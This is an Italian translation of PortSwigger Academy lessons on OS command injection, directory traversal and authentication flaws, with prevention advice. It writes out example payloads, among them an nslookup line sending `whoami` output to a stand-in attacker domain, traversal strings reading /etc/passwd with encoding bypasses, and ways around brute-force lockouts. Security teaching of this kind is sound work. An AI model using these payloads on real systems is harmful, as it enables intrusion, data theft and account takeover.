OS command injection

PortSwigger Academy – OS command injection

Continua il percorso di apprendimento suggerito da “PortSwigger Academy”.

OS command injection

In questa sezione spiegheremo cos’è l’OS command injection, descriveremo come le vulnerabilità possono essere rilevate e sfruttate, spiegheremo alcuni comandi e tecniche utili per diversi sistemi operativi e riassumeremo come prevenire l’OS command injection.

Che cos’è l’OS command injection?

L’OS command injection (nota anche come iniezione della shell) è una vulnerabilità della sicurezza Web che consente a un utente malintenzionato di eseguire comandi arbitrari del sistema operativo (OS) sul server che esegue un’applicazione e in genere di compromettere completamente l’applicazione e tutti i suoi dati. Molto spesso, un utente malintenzionato può sfruttare una vulnerabilità legata all’OS command injection per compromettere altre parti dell’infrastruttura di hosting, sfruttando le relazioni di fiducia per indirizzare l’attacco verso altri sistemi all’interno dell’organizzazione.

Esecuzione di comandi arbitrari

Consideriamo un’applicazione per lo shopping che consenta all’utente di visualizzare se un articolo è disponibile in un particolare negozio. È possibile accedere a queste informazioni tramite un URL come:

https://insecure-website.com/stockStatus?productID=381&storeID=29

Per fornire le informazioni sulle scorte, l’applicazione deve interrogare vari sistemi legacy. Per ragioni storiche, la funzionalità viene implementata richiamando un comando di shell con gli ID del prodotto e del negozio come argomenti:

stockreport.pl 381 29

Questo comando restituisce lo stato delle scorte per l’articolo specificato, che viene restituito all’utente.

Poiché l’applicazione non implementa difese contro l’OS command injection, un utente malintenzionato può inviare il seguente input per eseguire un comando arbitrario:

& echo aiwefwlguh &

Se questo input viene inviato nel parametro productID, il comando eseguito dall’applicazione è:

stockreport.pl & echo aiwefwlguh & 29

Il comando echo fa semplicemente sì che la stringa fornita venga ripetuta nell’output ed è un modo utile per testare alcuni tipi di command injection del sistema operativo. Il carattere & è un separatore di comandi della shell, quindi ciò che viene eseguito sono in realtà tre comandi separati uno dopo l’altro. Di conseguenza, l’output restituito all’utente è:

Error - productID was not provided
aiwefwlguh
29: command not found

Le tre linee di output dimostrano che:

  • Il comando stockreport.pl originale è stato eseguito senza gli argomenti previsti e quindi ha restituito un messaggio di errore.
  • Il comando echo inserito è stato eseguito e la stringa fornita è stata riprodotta nell’output.
  • L’argomento originale 29 è stato eseguito come comando, causando un errore.

Posizionare il separatore & dopo il comando inserito è generalmente utile perché separa il comando inserito da tutto ciò che segue il punto di iniezione. Ciò riduce la probabilità che quello che segue impedisca l’esecuzione del comando inserito.

Lab: OS command injection, simple case

Comandi utili

Una volta identificata una vulnerabilità di command injection del sistema operativo, è generalmente utile eseguire alcuni comandi iniziali per ottenere informazioni sul sistema che è stato compromesso. Di seguito è riportato un riepilogo di alcuni comandi utili sulle piattaforme Linux e Windows:

Scopo del comandoLinuxWindows
Nome dell’utente correntewhoamiwhoami
Sistema operativouname -aver
Configurazione di reteifconfigipconfig /all
Connessioni di retenetstat -annetstat -an
Processi in esecuzioneps -eftasklist
Comandi utili

Vulnerabilità Blind OS command injection

Molti casi di command injection del sistema operativo sono vulnerabilità cieche. Ciò significa che l’applicazione non restituisce l’output del comando all’interno della sua risposta HTTP. Le vulnerabilità cieche possono ancora essere sfruttate, ma sono necessarie tecniche diverse.

Considera un sito web che consenta agli utenti di inviare feedback sul sito. L’utente inserisce il proprio indirizzo e-mail e il messaggio di feedback. L’applicazione lato server genera quindi un’e-mail all’amministratore del sito contenente il feedback. Per fare ciò, chiama il programma di posta con i dettagli inviati. Per esempio:

mail -s “This site is great” -aFrom:peter@normal-user.net feedback@vulnerable-website.com

L’output del comando mail (se presente) non viene restituito nelle risposte dell’applicazione, pertanto l’utilizzo del payload echo non sarebbe efficace. In questa situazione, è possibile utilizzare una serie di altre tecniche per rilevare e sfruttare una vulnerabilità.

Rilevamento del blind OS command injection utilizzando ritardi temporali

È possibile utilizzare un comando iniettato che attiverà un ritardo temporale, consentendo di confermare che il comando è stato eseguito in base al tempo impiegato dall’applicazione per rispondere. Il comando ping è un modo efficace per farlo, poiché consente di specificare il numero di pacchetti ICMP da inviare e quindi il tempo impiegato per l’esecuzione del comando:

& ping -c 10 127.0.0.1 &

Questo comando farà sì che l’applicazione esegua il ping della scheda di rete loopback per 10 secondi.

Lab: Blind OS command injection with time delays

Sfruttare il blind OS command injection reindirizzando l’output

Puoi reindirizzare l’output del comando inserito in un file all’interno della radice web che puoi quindi recuperare utilizzando il browser. Ad esempio, se l’applicazione fornisce risorse statiche dalla posizione del file system /var/www/static, puoi inviare il seguente input:

& whoami > /var/www/static/whoami.txt &

Il carattere > invia l’output del comando whoami al file specificato. È quindi possibile utilizzare il browser per recuperare https://vulnerable-website.com/whoami.txt per recuperare il file e visualizzare l’output del comando inserito.

Lab: Blind OS command injection with output redirection

Sfruttare il blind OS command injection utilizzando tecniche fuori banda (OAST).

Puoi utilizzare un command injection che attiverà un’interazione di rete fuori banda con un sistema da te controllato, utilizzando le tecniche OAST.. Per esempio:

& nslookup kgji2ohoyw.web-attacker.com &

Questo payload utilizza il comando nslookup per provocare una ricerca DNS per il dominio specificato. L’aggressore può monitorare il verificarsi della ricerca specificata e quindi rilevare che il comando è stato inserito con successo.

Lab: Blind OS command injection with out-of-band interaction

Il canale fuori banda fornisce anche un modo semplice per estrarre l’output dai comandi inseriti:

& nslookup `whoami`.kgji2ohoyw.web-attacker.com &

Ciò causerà una ricerca DNS nel dominio dell’aggressore contenente il risultato del comando whoami:

wwwuser.kgji2ohoyw.web-attacker.com

Lab: Blind OS command injection with out-of-band data exfiltration

Modi per inserire OS command injection

È possibile utilizzare una varietà di metacaratteri della shell per eseguire attacchi di command injection del sistema operativo.

Un certo numero di caratteri funziona come separatori di comandi, consentendo di concatenare i comandi. I seguenti separatori di comandi funzionano sia sui sistemi basati su Windows che su Unix:

&

&&

|

||

I seguenti separatori di comandi funzionano solo su sistemi basati su Unix:

;

Nuova riga (0x0a oppure \n)

Sui sistemi basati su Unix, puoi anche utilizzare i backtick o il carattere del dollaro per eseguire l’esecuzione in linea di un comando inserito all’interno del comando originale:

`

comando iniettato `

$ (

comando iniettato)

Si noti che i diversi metacaratteri della shell hanno comportamenti leggermente diversi che potrebbero influenzare il loro funzionamento in determinate situazioni.

A volte, l’input che controlli appare tra virgolette nel comando originale. In questa situazione, è necessario terminare il contesto citato (utilizzando oppure ) prima di utilizzare i metacaratteri della shell adatti per inserire un nuovo comando.

Come prevenire gli attacchi di OS command injection

Di gran lunga il modo più efficace per prevenire le vulnerabilità di OS command injection è non richiamare mai i comandi del sistema operativo dal codice a livello di applicazione. Praticamente in ogni caso, esistono modi alternativi per implementare la funzionalità richiesta utilizzando API della piattaforma più sicure.

Se si ritiene inevitabile richiamare i comandi del sistema operativo con l’input fornito dall’utente, è necessario eseguire una valida convalida dell’input. Alcuni esempi di validazione efficace includono:

  • Convalida rispetto a una whitelist di valori consentiti.
  • Convalidare che l’input è un numero.
  • Convalidare che l’input contenga solo caratteri alfanumerici, nessun’altra sintassi o spazi bianchi.

Non tentare mai di ripulire l’input eseguendo l’escape dei metacaratteri della shell. In pratica, questo è semplicemente troppo soggetto a errori e vulnerabile alle attività di un utente malintenzionato esperto.

Per saperne di più

Directory traversal

PortSwigger Academy – Directory traversal

Continua il percorso di apprendimento suggerito da “PortSwigger Academy”. Consiglio di iscriversi alla piattaforma, seguire le lezioni e soprattutto svolgere e completare i lab 🙂

Directory traversal

In questa sezione spiegheremo cos’è il “directory traversal” o “path traversal”, descriveremo come eseguire attacchi di directory traversal e aggirare gli ostacoli comuni e spiegheremo come prevenire tali vulnerabilità.

Cos’è il directory traversal?

L’attraversamento delle directory “directory traversal” (noto anche come attraversamento del percorso dei file “path traversal”) è una vulnerabilità della sicurezza Web che consente a un utente malintenzionato di leggere file arbitrari sul server su cui è in esecuzione un’applicazione. Ciò potrebbe includere codice e dati dell’applicazione, credenziali per sistemi back-end e file sensibili del sistema operativo. In alcuni casi, un utente malintenzionato potrebbe essere in grado di scrivere su file arbitrari sul server, consentendogli di modificare i dati o il comportamento dell’applicazione e, infine, di assumere il pieno controllo del server.

Lettura di file arbitrari tramite directory traversal

Considera un’applicazione per lo shopping che visualizza immagini di articoli in vendita. Le immagini vengono caricate tramite codice HTML come il seguente:

<img src="/loadImage?filename=218.png">

L’URL loadImage accetta un parametro filename e restituisce il contenuto del file specificato. I file immagine stessi sono archiviati su disco nella posizione /var/www/images/. Per restituire un’immagine, l’applicazione aggiunge il filename richiesto a questa directory di base e utilizza un’API del file system per leggere il contenuto del file. Nel caso precedente, l’applicazione legge dal seguente percorso:

/var/www/images/218.png

L’applicazione non implementa difese contro gli attacchi di directory traversal, quindi un utente malintenzionato può richiedere il seguente URL per recuperare un file arbitrario dal file system del server:

https://insecure-website.com/loadImage?filename=../../../etc/passwd

Ciò fa sì che l’applicazione legga dal seguente percorso di file:

/var/www/images/../../../etc/passwd

La sequenza ../ è valida all’interno di un percorso di file e significa salire di un livello nella struttura delle directory. Le tre sequenze ../ consecutive salgono da /var/www/images/ alla root del filesystem, e quindi il file che viene effettivamente letto è:

/etc/passwd

Sui sistemi operativi basati su Unix, questo è un file standard contenente i dettagli degli utenti registrati sul server.

Su Windows, sia ../ che ..\ sono sequenze di directory traversal valide e un attacco equivalente per recuperare un file del sistema operativo standard sarebbe:

https://insecure-website.com/loadImage?filename=..\..\..\windows\win.ini

Lab: File path traversal, simple case

Ostacoli comuni allo sfruttamento delle vulnerabilità del file path traversal

Molte applicazioni che inseriscono l’input dell’utente nei percorsi dei file implementano una sorta di difesa contro gli attacchi di path traversal e questi possono spesso essere aggirati.

Se un’applicazione rimuove o blocca le sequenze di directory traversal dal nome file fornito dall’utente, potrebbe essere possibile aggirare la difesa utilizzando una varietà di tecniche.

Potresti essere in grado di utilizzare un percorso assoluto dalla radice del filesystem, come filename=/etc/passwd, per fare riferimento direttamente a un file senza utilizzare alcuna sequenza trasversale.

Lab: File path traversal, traversal sequences blocked with absolute path bypass

Potresti essere in grado di utilizzare sequenze di attraversamento nidificate, come ….// o ….\/, che torneranno a sequenze di attraversamento semplici quando la sequenza interna viene rimossa.

Lab: File path traversal, traversal sequences stripped non-recursively

In alcuni contesti, ad esempio in un percorso URL o nel parametro del filename di una richiesta multipart/form-data, i server Web potrebbero eliminare qualsiasi sequenza di attraversamento della directory prima di passare l’input all’applicazione. A volte è possibile ignorare questo tipo di sanificazione mediante la codifica dell’URL, o anche la doppia codifica dell’URL, i caratteri ../, risultando rispettivamente in %2e%2e%2f o %252e%252e%252f. Anche varie codifiche non standard, come ..%c0%af o ..%ef%bc%8f, possono funzionare allo stesso modo.

Per gli utenti di Burp Suite Professional, Burp Intruder fornisce un elenco di payload predefinito (Fuzzing – path traversal), che contiene una varietà di sequenze di percorso trasversale codificate che puoi provare.

Lab: File path traversal, traversal sequences stripped with superfluous URL-decode

Se un’applicazione richiede che il nome file fornito dall’utente inizi con la cartella di base prevista, ad esempio /var/www/images, potrebbe essere possibile includere la cartella di base richiesta seguita da sequenze di attraversamento adeguate. Per esempio:

filename=/var/www/images/../../../etc/passwd

Lab: File path traversal, validation of start of path

Se un’applicazione richiede che il nome file fornito dall’utente termini con un’estensione di file prevista, ad esempio .png, potrebbe essere possibile utilizzare un byte null per terminare in modo efficace il percorso del file prima dell’estensione richiesta. Per esempio:

filename=../../../etc/passwd%00.png

Lab: File path traversal, validation of file extension with null byte bypass

Come prevenire un attacco directory traversal

Il modo più efficace per prevenire le vulnerabilità legate al file path traversal è evitare del tutto di passare l’input fornito dall’utente alle API del filesystem. Molte funzioni dell’applicazione che eseguono questa operazione possono essere riscritte per fornire lo stesso comportamento in modo più sicuro.

Se si ritiene inevitabile passare l’input fornito dall’utente alle API del filesystem, è necessario utilizzare insieme due livelli di difesa per prevenire gli attacchi:

  • L’applicazione dovrebbe convalidare l’input dell’utente prima di elaborarlo. Idealmente, la convalida dovrebbe essere confrontata con una whitelist di valori consentiti. Se ciò non è possibile per la funzionalità richiesta, la convalida dovrebbe verificare che l’input contenga solo contenuti consentiti, ad esempio caratteri puramente alfanumerici.
  • Dopo aver convalidato l’input fornito, l’applicazione dovrebbe aggiungere l’input alla directory di base e utilizzare un’API del file system della piattaforma per canonizzare il percorso. Dovrebbe verificare che il percorso canonizzato inizi con la directory di base prevista.

Di seguito è riportato un esempio di un semplice codice Java per convalidare il percorso canonico di un file in base all’input dell’utente:

File file = new File(BASE_DIRECTORY, userInput);
if (file.getCanonicalPath().startsWith(BASE_DIRECTORY)) {
	// process file
}

Per saperne di più

Find directory traversal vulnerabilities using Burp Suite’s web vulnerability scanner

Authentication

PortSwigger Academy – Authentication

Continua il percorso di apprendimento suggerito da “PortSwigger Academy”. Consiglio di iscriversi alla piattaforma, seguire le lezioni e soprattutto svolgere e completare i lab 🙂

Authentication

Authentication vulnerabilities

Almeno concettualmente, le vulnerabilità dell’autenticazione sono alcuni dei problemi più semplici da comprendere. Tuttavia, possono essere tra i più critici a causa dell’ovvia relazione tra autenticazione e sicurezza. Oltre a consentire potenzialmente agli aggressori l’accesso diretto a dati e funzionalità sensibili, espongono anche una superficie di attacco aggiuntiva per ulteriori exploit. Per questo motivo, imparare a identificare e sfruttare le vulnerabilità di autenticazione, incluso come aggirare le comuni misure di protezione, è un’abilità fondamentale.

In questa sezione, esamineremo alcuni dei meccanismi di autenticazione più comuni utilizzati dai siti Web e discuteremo le potenziali vulnerabilità in essi. Evidenzieremo sia le vulnerabilità intrinseche nei diversi meccanismi di autenticazione, sia alcune vulnerabilità tipiche introdotte dalla loro implementazione impropria. Infine, forniremo alcune indicazioni di base su come garantire che i propri meccanismi di autenticazione siano il più solidi possibile.

Cos’è l’autenticazione?

L’autenticazione è il processo di verifica dell’identità di un determinato utente o client. In altre parole, implica assicurarsi che siano davvero chi affermano di essere. Almeno in parte, i siti Web sono esposti a chiunque sia connesso a Internet per progettazione. Pertanto, robusti meccanismi di autenticazione sono un aspetto integrante di un’efficace sicurezza web.

Esistono tre fattori di autenticazione in cui è possibile classificare diversi tipi di autenticazione:

  • Qualcosa che conosci, come una password o la risposta a una domanda di sicurezza. Questi sono a volte indicati come “fattori di conoscenza”.
  • Qualcosa che hai, cioè un oggetto fisico come un telefono cellulare o un token di sicurezza. Questi sono talvolta indicati come “fattori di possesso”.
  • Qualcosa che sei o fai, ad esempio, i tuoi dati biometrici o modelli di comportamento. Questi sono talvolta indicati come “fattori di inerenza”.

I meccanismi di autenticazione si basano su una gamma di tecnologie per verificare uno o più di questi fattori.

Qual è la differenza tra autenticazione e autorizzazione?

L’autenticazione è il processo di verifica che un utente sia veramente chi afferma di essere, mentre l’autorizzazione implica la verifica se un utente è autorizzato a fare qualcosa.

Nel contesto di un sito Web o di un’applicazione Web, l’autenticazione determina se qualcuno che tenta di accedere al sito con il nome utente Carlos123 è realmente la stessa persona che ha creato l’account.

Una volta che Carlos123 è stato autenticato, le sue autorizzazioni determinano se è autorizzato o meno, ad esempio, ad accedere alle informazioni personali su altri utenti o eseguire azioni come l’eliminazione dell’account di un altro utente.

Come nascono le vulnerabilità di autenticazione?

In generale, la maggior parte delle vulnerabilità nei meccanismi di autenticazione si presenta in due modi:

  • I meccanismi di autenticazione sono deboli perché non riescono a proteggere adeguatamente dagli attacchi di forza bruta.
  • I difetti logici o la scarsa codifica nell’implementazione consentono a un utente malintenzionato di aggirare completamente i meccanismi di autenticazione. Questo è talvolta indicato come “autenticazione interrotta”.

In molte aree dello sviluppo web, i difetti logici (logic flaws) causeranno semplicemente un comportamento imprevisto del sito Web, il che potrebbe rappresentare o meno un problema di sicurezza. Tuttavia, poiché l’autenticazione è fondamentale per la sicurezza, la probabilità che una logica di autenticazione errata esponga il sito Web a problemi di sicurezza è chiaramente elevata.

Qual è l’impatto dell’autenticazione vulnerabile?

L’impatto delle vulnerabilità di autenticazione può essere molto grave. Una volta che un utente malintenzionato ha aggirato l’autenticazione o si è introdotto con la forza bruta nell’account di un altro utente, ha accesso a tutti i dati e le funzionalità dell’account compromesso. Se sono in grado di compromettere un account con privilegi elevati, come un amministratore di sistema, potrebbero assumere il pieno controllo dell’intera applicazione e potenzialmente ottenere l’accesso all’infrastruttura interna.

Anche la compromissione di un account con privilegi limitati potrebbe comunque concedere a un utente malintenzionato l’accesso a dati che altrimenti non dovrebbe avere, come informazioni aziendali sensibili dal punto di vista commerciale. Anche se l’account non ha accesso a dati sensibili, potrebbe comunque consentire all’attaccante di accedere a pagine aggiuntive, che forniscono un’ulteriore superficie di attacco. Spesso, alcuni attacchi ad alta gravità non saranno possibili da pagine accessibili pubblicamente, ma potrebbero essere possibili da una pagina interna.

Vulnerabilità nei meccanismi di autenticazione

Il sistema di autenticazione di un sito Web è generalmente costituito da diversi meccanismi distinti in cui possono verificarsi vulnerabilità. Alcune vulnerabilità sono ampiamente applicabili in tutti questi contesti, mentre altre sono più specifiche per la funzionalità fornita.

Esamineremo più da vicino alcune delle vulnerabilità più comuni nelle seguenti aree:

Si noti che molti dei laboratori richiedono di enumerare nomi utente e password di forza bruta. Per venirci in aiuto, “PortSwigger Academy” fornisce un elenco di usernames e passwords da utilizzare per risolvere i lab.

Vulnerabilità nei meccanismi di autenticazione di terze parti

Se si è interessati ai meccanismi di autenticazione,“PortSwigger Academy” consiglia, dopo aver completato i principali laboratori di autenticazione, di provare ad affrontare i loro laboratori di autenticazione OAuth.

Per saperne di più

OAuth authentication

Prevenzione degli attacchi ai propri meccanismi di autenticazione

Abbiamo dimostrato diversi modi in cui i siti Web possono essere vulnerabili a causa del modo in cui implementano l’autenticazione. Per ridurre il rischio di tali attacchi sui propri siti web, ci sono diversi principi generali che dovresti sempre cercare di seguire.

Per saperne di più

How to secure your authentication mechanisms

(torna su)

Vulnerabilità nell’accesso basato su password

In questa sezione esamineremo più da vicino alcune delle vulnerabilità più comuni che si verificano nei meccanismi di accesso basati su password. Suggeriremo anche modi in cui questi possono essere potenzialmente sfruttati. Ci sono anche alcuni laboratori interattivi in ​​modo da esercitarsi sullo sfruttamento di tali vulnerabilità.

Per i siti Web che adottano un processo di accesso basato su password, gli utenti si registrano per un account da soli o ricevono un account da un amministratore. Questo account è associato a un nome utente univoco e una password segreta, che l’utente inserisce in un modulo di accesso per autenticarsi.

In questo scenario, il semplice fatto di conoscere la password segreta è considerato una prova sufficiente dell’identità dell’utente. Di conseguenza, la sicurezza del sito web verrebbe compromessa se un utente malintenzionato fosse in grado di ottenere o indovinare le credenziali di accesso di un altro utente.

Ciò può essere ottenuto in vari modi, come esploreremo di seguito.

Attacchi di forza bruta

Un attacco di forza bruta si verifica quando un utente malintenzionato utilizza un sistema di tentativi ed errori nel tentativo di indovinare credenziali utente valide. Questi attacchi sono in genere automatizzati utilizzando elenchi di parole di nomi utente e password. L’automazione di questo processo, in particolare utilizzando strumenti dedicati, consente potenzialmente a un utente malintenzionato di effettuare un numero elevato di tentativi di accesso ad alta velocità.

La forzatura bruta non è sempre solo un caso di ipotesi completamente casuali su nomi utente e password. Utilizzando anche la logica di base o le conoscenze pubblicamente disponibili, gli aggressori possono perfezionare gli attacchi di forza bruta per fare ipotesi molto più plausibili. Ciò aumenta notevolmente l’efficienza di tali attacchi. I siti Web che si basano sull’accesso basato su password come unico metodo di autenticazione degli utenti possono essere altamente vulnerabili se non implementano una protezione di forza bruta sufficiente.

Brute-forcing usernames

I nomi utente sono particolarmente facili da indovinare se sono conformi a uno schema riconoscibile, come un indirizzo e-mail. Ad esempio, è molto comune vedere gli accessi aziendali nel formato nome.cognome@società.com. Tuttavia, anche se non esiste uno schema ovvio, a volte vengono creati anche account con privilegi elevati utilizzando nomi utente prevedibili, come admin o administrator.

Durante l’audit, controlla se il sito web rivela pubblicamente potenziali nomi utente. Ad esempio, sei in grado di accedere ai profili utente senza effettuare il login? Anche se il contenuto effettivo dei profili è nascosto, il nome utilizzato nel profilo a volte è uguale al nome utente di accesso. Dovresti anche controllare le risposte HTTP per vedere se sono stati divulgati indirizzi email. Occasionalmente, le risposte contengono indirizzi e-mail di utenti con privilegi elevati come amministratori e supporto IT.

Brute-forcing passwords

Allo stesso modo, le password possono subire attacchi a forza bruta, con difficoltà che variano in base alla forza della password. Molti siti Web adottano una qualche forma di politica delle password, che costringe gli utenti a creare password ad alta entropia che, almeno in teoria, sono più difficili da decifrare utilizzando la sola forza bruta. Ciò comporta in genere l’applicazione delle password con:

  • Un numero minimo di caratteri
  • Un misto di lettere minuscole e maiuscole
  • Almeno un carattere speciale

Tuttavia, mentre le password ad alta entropia sono difficili da decifrare solo per i computer, possiamo utilizzare una conoscenza di base del comportamento umano per sfruttare le vulnerabilità che gli utenti introducono inconsapevolmente a questo sistema. Invece di creare una password complessa con una combinazione casuale di caratteri, gli utenti spesso prendono una password che possono ricordare e cercano di forzarla affinché si adatti alla politica della password. Ad esempio, se mypassword non è consentito, gli utenti possono provare qualcosa come Mypassword1! o invece Myp4$$w0rd.

Nei casi in cui la politica richiede agli utenti di modificare regolarmente le proprie password, è anche normale che gli utenti apportino solo modifiche minori e prevedibili alla propria password preferita. Ad esempio, Miapassword1! diventa Miapassword1? o Miapassword2!.

Questa conoscenza delle credenziali probabili e dei modelli prevedibili significa che gli attacchi di forza bruta possono spesso essere molto più sofisticati, e quindi efficaci, rispetto alla semplice ripetizione di ogni possibile combinazione di caratteri.

Username enumeration

L’enumerazione del nome utente è quando un utente malintenzionato è in grado di osservare i cambiamenti nel comportamento del sito Web per identificare se un determinato nome utente è valido.

L’enumerazione del nome utente in genere si verifica nella pagina di accesso, ad esempio, quando si immette un nome utente valido ma una password errata, oppure nei moduli di registrazione quando si immette un nome utente già utilizzato. Ciò riduce notevolmente il tempo e lo sforzo necessari per forzare un accesso in quanto l’attaccante è in grado di generare rapidamente un elenco ristretto di nomi utente validi.

Durante il tentativo di applicare la forza bruta a una pagina di accesso, dovresti prestare particolare attenzione a eventuali differenze in:

  • Codici di stato: durante un attacco di forza bruta, è probabile che il codice di stato HTTP restituito sia lo stesso per la stragrande maggioranza delle ipotesi perché la maggior parte di esse sarà sbagliata. Se un’ipotesi restituisce un codice di stato diverso, questa è una forte indicazione che il nome utente era corretto. È consigliabile che i siti web restituiscano sempre lo stesso codice di stato indipendentemente dal risultato, ma questa pratica non viene sempre seguita.
  • Messaggi di errore: a volte il messaggio di errore restituito è diverso a seconda che sia il nome utente che la password siano errati o solo la password sia errata. È buona prassi che i siti Web utilizzino messaggi generici identici in entrambi i casi, ma a volte si insinuano piccoli errori di battitura. Un solo carattere fuori posto distingue i due messaggi, anche nei casi in cui il carattere non è visibile sulla pagina visualizzata.
  • Tempi di risposta: se la maggior parte delle richieste è stata gestita con un tempo di risposta simile, tutte quelle che si discostano da questo suggeriscono che dietro le quinte stava accadendo qualcosa di diverso. Questa è un’altra indicazione che il nome utente indovinato potrebbe essere corretto. Ad esempio, un sito Web potrebbe verificare solo se la password è corretta se il nome utente è valido. Questo passaggio aggiuntivo potrebbe causare un leggero aumento del tempo di risposta. Questo può essere sottile, ma un utente malintenzionato può rendere questo ritardo più evidente inserendo una password eccessivamente lunga che il sito web richiede molto più tempo per essere gestita.

Lab: Username enumeration via different responses

Lab: Username enumeration via subtly different responses

Lab: Username enumeration via response timing

Protezione dalla forza bruta imperfetta

È molto probabile che un attacco di forza bruta comporti molte ipotesi fallite prima che l’aggressore comprometta con successo un account. Logicamente, la protezione dalla forza bruta ruota attorno al tentativo di rendere il più complicato possibile l’automazione del processo e rallentare la velocità con cui un utente malintenzionato può tentare l’accesso. I due modi più comuni per prevenire gli attacchi di forza bruta sono:

  • bloccare l’account a cui l’utente remoto sta tentando di accedere se effettua troppi tentativi di accesso non riusciti;
  • bloccare l’indirizzo IP dell’utente remoto se effettua troppi tentativi di accesso in rapida successione.

Entrambi gli approcci offrono diversi gradi di protezione, ma nessuno dei due è invulnerabile, soprattutto se implementato utilizzando una logica errata.

Ad esempio, a volte potresti scoprire che il tuo IP viene bloccato se non riesci ad accedere troppe volte. In alcune implementazioni, il contatore del numero di tentativi falliti si reimposta se il proprietario IP accede correttamente. Ciò significa che un utente malintenzionato dovrebbe semplicemente accedere al proprio account ogni pochi tentativi per impedire che questo limite venga raggiunto.

In questo caso, è sufficiente includere semplicemente le proprie credenziali di accesso a intervalli regolari nell’elenco delle parole per rendere questa difesa praticamente inutile.

Lab: Broken brute-force protection, IP block

Blocco dell’account

Un modo in cui i siti Web tentano di prevenire la forzatura bruta è bloccare l’account se vengono soddisfatti determinati criteri sospetti, in genere un determinato numero di tentativi di accesso non riusciti. Proprio come con i normali errori di accesso, anche le risposte del server che indicano che un account è bloccato possono aiutare un utente malintenzionato a enumerare i nomi utente.

Lab: Username enumeration via account lock

Il blocco di un account offre una certa protezione contro la forzatura bruta mirata a un account specifico. Tuttavia, questo approccio non riesce a prevenire adeguatamente gli attacchi di forza bruta in cui l’aggressore tenta semplicemente di accedere a qualsiasi account casuale possibile.

Ad esempio, è possibile utilizzare il seguente metodo per aggirare questo tipo di protezione:

  1. Stabilire un elenco di nomi utente candidati che potrebbero essere validi. Ciò potrebbe avvenire tramite l’enumerazione dei nomi utente o semplicemente in base a un elenco di nomi utente comuni.
  2. Decidi un elenco molto ristretto di password che ritieni possa avere almeno un utente. Fondamentalmente, il numero di password selezionate non deve superare il numero di tentativi di accesso consentiti. Ad esempio, se hai calcolato che il limite è di 3 tentativi, devi scegliere un massimo di 3 tentativi di password.
  3. Utilizzando uno strumento come Burp Intruder, prova ciascuna delle password selezionate con ciascuno dei nomi utente candidati. In questo modo, puoi tentare di forzare ogni account senza attivare il blocco dell’account. È necessario che un singolo utente utilizzi una delle tre password per compromettere un account.

Inoltre, il blocco degli account non protegge dagli attacchi di credential stuffing. Ciò comporta l’utilizzo di un enorme dizionario di coppie nome utente: password, composto da credenziali di accesso autentiche rubate durante le violazioni dei dati. Il credential stuffing si basa sul fatto che molte persone riutilizzano lo stesso nome utente e la stessa password su più siti Web e, pertanto, esiste la possibilità che alcune delle credenziali compromesse nel dizionario siano valide anche sul sito Web di destinazione. Il blocco dell’account non protegge dal credential stuffing perché ciascun nome utente viene tentato una sola volta. Il credential stuffing è particolarmente pericoloso perché a volte può portare l’aggressore a compromettere molti account diversi con un solo attacco automatizzato.

User rate limiting

Un altro modo in cui i siti Web cercano di prevenire gli attacchi di forza bruta è attraverso la limitazione della frequenza degli utenti. In questo caso, effettuare troppe richieste di accesso in un breve periodo di tempo causa il blocco del tuo indirizzo IP. In genere, l’IP può essere sbloccato solo in uno dei seguenti modi:

  • automaticamente dopo che è trascorso un certo periodo di tempo;
  • manualmente da un amministratore;
  • manualmente dall’utente dopo aver completato con successo un CAPTCHA.

La limitazione della frequenza degli utenti è talvolta preferita al blocco dell’account poiché è meno incline all’enumerazione dei nomi utente e agli attacchi di negazione del servizio. Tuttavia, non è ancora completamente sicuro. Come abbiamo visto in un esempio in un laboratorio precedente, esistono diversi modi in cui un utente malintenzionato può manipolare il proprio IP apparente per aggirare il blocco.

Poiché il limite si basa sulla frequenza delle richieste HTTP inviate dall’indirizzo IP dell’utente, a volte è anche possibile aggirare questa difesa se si riesce a indovinare più password con una singola richiesta.

Lab: Broken brute-force protection, multiple credentials per request

Autenticazione di base HTTP

Sebbene sia piuttosto vecchio, la sua relativa semplicità e facilità di implementazione significa che a volte potresti vedere utilizzata l’autenticazione di base HTTP. Nell’autenticazione di base HTTP, il client riceve un token di autenticazione dal server, che viene costruito concatenando nome utente e password e codificandolo in Base64. Questo token viene memorizzato e gestito dal browser, che lo aggiunge automaticamente all’intestazione Authorization di ogni richiesta successiva come segue:

Authorization: Basic base64(username:password)

Per una serie di motivi, questo non è generalmente considerato un metodo di autenticazione sicuro. Innanzitutto, comporta l’invio ripetuto delle credenziali di accesso dell’utente ad ogni richiesta. A meno che il sito Web non implementi anche l’HSTS, le credenziali dell’utente possono essere catturate in un attacco man-in-the-middle.

Inoltre, le implementazioni dell’autenticazione di base HTTP spesso non supportano la protezione dalla forza bruta. Poiché il token è costituito esclusivamente da valori statici, ciò può renderlo vulnerabile alla forza bruta.

L’autenticazione di base HTTP è inoltre particolarmente vulnerabile agli exploit legati alla sessione, in particolare CSRF, contro i quali non offre di per sé alcuna protezione.

In alcuni casi, lo sfruttamento dell’autenticazione di base HTTP vulnerabile potrebbe garantire a un utente malintenzionato solo l’accesso a una pagina apparentemente poco interessante. Tuttavia, oltre a fornire un’ulteriore superficie di attacco, le credenziali esposte in questo modo potrebbero essere riutilizzate in altri contesti più riservati.

(torna su)

Vulnerabilità nell’autenticazione a più fattori

In questa sezione esamineremo alcune delle vulnerabilità che possono verificarsi nei meccanismi di autenticazione a più fattori. Ci sono anche diversi laboratori interattivi per dimostrare come sfruttare queste vulnerabilità nell’autenticazione a più fattori.

Molti siti Web si affidano esclusivamente all’autenticazione a fattore singolo utilizzando una password per autenticare gli utenti. Tuttavia, alcuni richiedono agli utenti di dimostrare la propria identità utilizzando più fattori di autenticazione.

La verifica dei fattori biometrici non è pratica per la maggior parte dei siti web. Tuttavia, è sempre più comune vedere l’autenticazione a due fattori (2FA) sia obbligatoria che facoltativa basata su qualcosa che conosci e qualcosa che possiedi. Ciò di solito richiede agli utenti di inserire sia una password tradizionale che un codice di verifica temporaneo da un dispositivo fisico fuori banda in loro possesso.

Token di autenticazione a due fattori

I codici di verifica vengono solitamente letti dall’utente da un dispositivo fisico di qualche tipo. Molti siti Web ad alta sicurezza ora forniscono agli utenti un dispositivo dedicato a questo scopo, come il token RSA o il dispositivo con tastiera utilizzato per accedere al servizio bancario online o al laptop di lavoro. Oltre ad essere realizzati appositamente per la sicurezza, questi dispositivi dedicati hanno anche il vantaggio di generare direttamente il codice di verifica. È anche comune che i siti Web utilizzino un’app mobile dedicata, come Google Authenticator, per lo stesso motivo.

